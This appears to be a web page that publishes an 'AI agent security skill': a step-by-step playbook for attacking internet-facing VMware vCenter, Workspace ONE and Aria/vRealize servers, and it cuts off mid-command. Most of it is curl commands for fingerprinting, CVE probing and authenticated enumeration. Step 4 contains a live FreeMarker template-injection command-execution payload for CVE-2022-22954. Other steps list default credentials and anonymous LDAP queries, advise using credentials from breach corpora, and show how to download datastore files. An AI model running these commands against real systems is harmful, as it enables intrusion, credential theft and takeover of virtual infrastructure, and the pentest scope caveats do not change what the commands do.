vmware-vcenter-attack – skill Bảo mật cho agent AI

When to use

Trigger when external recon shows ANY of:

• Banner: "VMware vCenter Server", "VMware vSphere Client"
• URL paths: /ui, /ui/login, /websso/SAML2/Metadata, /sdk, /mob (Managed Object Browser)
• TLS cert SAN includes vcenter / vsphere / vcsa / psc / vmware
• Workspace ONE Access / Identity Manager: /SAAS, /SAAS/auth, /SAAS/login, /SAAS/horizon
• VMware Aria / vRealize: /vco, /vco-controlcenter, /orchestrator, /lcm/api/v1
• Horizon View: /portal, /admin

Do NOT use for:

• Internal-network vCenter (out of scope — external boundary discipline)
• Pure ESXi hypervisor exposed without management plane (rare on internet; flag as separate finding)

---

Step 1 — Version fingerprinting

TARGET="vcenter.target.com"

# Build info endpoint (often public; revealing exact patch level)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/sdk/vimServiceVersions.xml"

# UI build (visible in page source)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'

# REST API version (vSphere 7+)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/api/appliance/system/version"

# Cert metadata
echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

# SSO Admin Service (info disclosure)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"

Map build → version → CVE applicability via VMware advisories (vmware.com/security/advisories).

---

Step 2 — CVE matrix (external-exploitable, sorted by historical impact)

| CVE | Affected | Vector | Status |

|---|---|---|---|

| CVE-2024-37085 | ESXi 7.0/8.0 < specific patch | AD group "ESX Admins" auto-admin bypass | High — Domain takeover→ESXi RCE, exploited in ransomware ops |

| CVE-2024-22273 | ESXi/Workstation/Fusion/vCenter storage controller | OOB read/write — requires VM-local access (NOT a pre-auth network SSRF; see Section 9) | Important (CVSS 8.1), not external pre-auth |

| CVE-2024-22252/53 | Workstation/Fusion (not vCenter) | Sandbox escape | Not external |

| CVE-2023-34048 | vCenter 7/8 < specific build | DCE/RPC pre-auth heap OOB write → RCE | Critical, patched 2023-10 |

| CVE-2023-20887 | Aria Operations for Networks | Pre-auth command injection → RCE | Critical |

| CVE-2023-20892 | vCenter 7/8 | Use-after-free in DCE/RPC | High |

| CVE-2022-31656/31659 | Workspace ONE Access 21.x | Pre-auth SSRF + auth bypass | Critical chained |

| CVE-2022-22954 | Workspace ONE Access | Pre-auth server-side template injection (SSTI) → RCE | Critical, widely exploited |

| CVE-2021-22005 | vCenter 6.7/7.0 < build | Analytics service pre-auth file upload → RCE | Critical |

| CVE-2021-21985 | vCenter 6.5/6.7/7.0 < build | vSAN Health Check plugin pre-auth RCE | Critical |

| CVE-2021-21972 | vCenter 6.5/6.7/7.0 < build | vRealize plugin /ui/vropspluginui/rest/services/uploadova pre-auth file upload → RCE | Critical, exploited heavily |

| CVE-2020-3992 | ESXi OpenSLP | Pre-auth use-after-free → RCE | Critical, ESXi ransomware vector |

| CVE-2019-5544 | ESXi OpenSLP | Pre-auth heap overflow | Critical |

---

Step 3 — CVE-2021-21972 probe (still common on stale appliances)

# Detection only — DO NOT execute the file upload without explicit scope OK
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/uploadova"
# 405 → endpoint exists, version vulnerable
# 404 → patched (endpoint removed)
# 401 → patched (auth required)

curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/getstatus"

Public PoC by Mikhail Klyuchnikov exists; do not execute against client infra without explicit RCE-attempt sign-off.

---

Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe

# Stage A — detection only: reachability + baseline. No command execution yet.
curl --max-time 30 --connect-timeout 10 -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n" \
  "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"
# 4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.
# 404 → patched/removed. Keep the baseline body to diff against Stage B.

# Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary
# so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.
CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"echo ${CANARY}; id\")}"
# Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output
# that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).

Confirmed RCE requires the unique $CANARY reflected in-band plus uid= output not present in the Stage-A baseline → critical. Stop and report. A bare uid= with no canary echo is NOT confirmation.

---

Step 5 — Default credentials (frequently still valid on lab/staging vCenters)

| Product | Default user | Default password |

|---|---|---|

| vCenter 6.x | [email protected] | <set-during-install> |

| vCenter Appliance root | root | vmware (legacy) or <set> |

| ESXi root | root | <blank> or vmware |

| vCenter Server Appliance Mgmt (5480) | root | <set-during-install> |

| Aria Operations | admin | vmware (legacy) |

| Workspace ONE | admin | <set> |

⚠ Do not spray vCenter — [email protected] has VERY low lockout threshold (often 3 attempts → 60s lockout, configurable to permanent). One attempt with high-confidence guess only. Use creds discovered in breach corpora.

---

Step 6 — SSO / vmdir LDAP enumeration

# SSO Admin endpoint (frequently exposes domain info)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -

# Extract Identity Source info
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"

# Try anonymous LDAP bind to vmdir (port 389/636 if exposed)
ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base
ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"

---

Step 7 — Managed Object Browser (MOB) — frequently leaks data

curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/mob"
# 401 → auth required (good for the defender)
# 200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs

# Auth'd MOB lets you walk the entire vSphere tree:
curl --max-time 30 --connect-timeout 10 -sk -u '[email protected]:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"

---

Step 8 — vSphere REST API enumeration (post-cred)

# Get session token
curl --max-time 30 --connect-timeout 10 -sk -X POST -u '[email protected]:<pw>' "https://$TARGET/api/session"
# Returns: "<session-token>"

# List VMs
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"

# List hosts
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"

# List datastores
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"

# Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)
# /folder/<path>?dsName=<ds>&dcPath=<dc>
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"

---

Step 9 — Workspace ONE Access specific paths

# Metadata
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/auth/saml/response"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/auth/wsfed/services/idp"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/jersey/manager/api/health"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"

# Login page
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/login/0"

---

Step 10 — Aria / vRealize specific paths

# vRealize Operations Manager
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/suite-api/api/versions"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/casa/nodes/thumbprints"

# Aria Automation
curl --max-time 30 --connect-ti

… (nội dung đầy đủ có trong gói tải về)